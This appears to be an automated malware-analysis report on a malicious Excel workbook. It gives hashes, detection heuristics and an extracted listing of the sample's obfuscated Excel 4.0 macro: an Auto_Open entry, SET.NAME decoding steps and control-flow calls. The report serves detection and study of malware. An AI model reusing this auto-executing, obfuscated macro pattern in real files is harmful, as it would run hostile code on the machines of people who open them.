Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 19c263622e164f1c…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:42:57 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: cc2abc2218c565bee392b7fc741d4a7f SHA-1: 9e7e1f0cee288685e64877aae214b883a0d36bc5 SHA-256: 19c263622e164f1ce2bbd858e51bc26cb0992719b673eb7c60865fc8bbbaa2c8
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6625 bytes
SHA-256: 0b34dcbc75e523e4bfec476f00d98c827d847db52688ca2b09522be3358df814
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Zie
' 0018     26 LABEL : Cell Value, String Constant - aGHuhlknHnP len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H135 
' 0018     20 LABEL : Cell Value, String Constant - CDzpr len=0 
' 0018     21 LABEL : Cell Value, String Constant - cKqPMm len=0 
' 0018     22 LABEL : Cell Value, String Constant - cXotOPB len=0 
' 0018     27 LABEL : Cell Value, String Constant - ebuyqHkkGOKv len=0 
' 0018     22 LABEL : Cell Value, String Constant - emyuzgT len=0 
' 0018     20 LABEL : Cell Value, String Constant - EWFmq len=0 
' 0018     20 LABEL : Cell Value, String Constant - fMhbv len=0 
' 0018     21 LABEL : Cell Value, String Constant - fqqYnM len=0 
' 0018     26 LABEL : Cell Value, String Constant - GhdHeBkYzZh len=0 
' 0018     22 LABEL : Cell Value, String Constant - hjsdAgv len=0 
' 0018     24 LABEL : Cell Value, String Constant - iEzRbMZIq len=0 
' 0018     23 LABEL : Cell Value, String Constant - iMiYqKqC len=0 
' 0018     22 LABEL : Cell Value, String Constant - OxPfOpE len=0 
' 0018     24 LABEL : Cell Value, String Constant - TNjKmCyyw len=0 
' 0018     23 LABEL : Cell Value, String Constant - uSeEZHYp len=0 
' 0018     25 LABEL : Cell Value, String Constant - UYuHuyGQIn len=0 
' 0018     21 LABEL : Cell Value, String Constant - uzOlfi len=0 
' 0018     21 LABEL : Cell Value, String Constant - wrOvrM len=0 
' 0018     26 LABEL : Cell Value, String Constant - WtNbnSvDFZq len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Zie,H47,"SET.NAME("aGHuhlknHnP",0+VALUE("0"))",""
'  Zie,H49,"SET.NAME("iMiYqKqC",aGHuhlknHnP)",""
'  Zie,H53,"SET.NAME("fMhbv",aGHuhlknHnP)",""
'  Zie,H56,"SET.NAME("uSeEZHYp",COUNTA(OxPfOpE))",""
'  Zie,H60,"SET.NAME("uzOlfi",COUNTA(GhdHeBkYzZh))",""
'  Zie,H62,[],""
'  Zie,H64,"SET.NAME("EWFmq","")",""
'  Zie,H68,"iMiYqKqC",""
'  Zie,H73,"SET.NAME("CDzpr",HLOOKUP("*",OxPfOpE,iMiYqKqC,FALSE))",""
'  Zie,H76,"TNjKmCyyw",""
'  Zie,H78,"SET.NAME("hjsdAgv",aGHuhlknHnP)",""
'  Zie,H80,[],""
'  Zie,H82,"hjsdAgv",""
'  Zie,H85,"wrOvrM",""
'  Zie,H90,"emyuzgT",""
'  Zie,H92,"UYuHuyGQIn",""
'  Zie,P93,"",-773.00000000000000000000
'  Zie,P94,"",659.00000000000000000000
'  Zie,P95,"",-556.00000000000000000000
'  Zie,H96,"SET.NAME("ebuyqHkkGOKv",VALUE(HLOOKUP("*",GhdHeBkYzZh,UYuHuyGQIn,FALSE)))",""
'  Zie,P96,"",9.00000000000000000000
'  Zie,P97,"",-410.00000000000000000000
'  Zie,P98,"",13.00000000000000000000
'  Zie,H101,"iEzRbMZIq",""
'  Zie,H106,"EWFmq",""
'  Zie,H108,"fMhbv",""
'  Zie,H112,NEXT(),""
'  Zie,H115,"fqqYnM",""
'  Zie,H118,[],""
'  Zie,H122,"cKqPMm",""
'  Zie,H126,NEXT(),""
'  Zie,H130,RETURN(),""
'  Zie,H162,"SET.NAME("cXotOPB",H47)",""
'  Zie,H167,"OxPfOpE",""
'  Zie,H171,"SET.NAME("GhdHeBkYzZh",R98C15)",""
'  Zie,H174,"SET.NAME("cKqPMm",182)",""
'  Zie,H179,"SET.NAME("WtNbnSvDFZq",8)",""
'  Zie,H181,cXotOPB(),""
'  Zie,H182,HALT(),""

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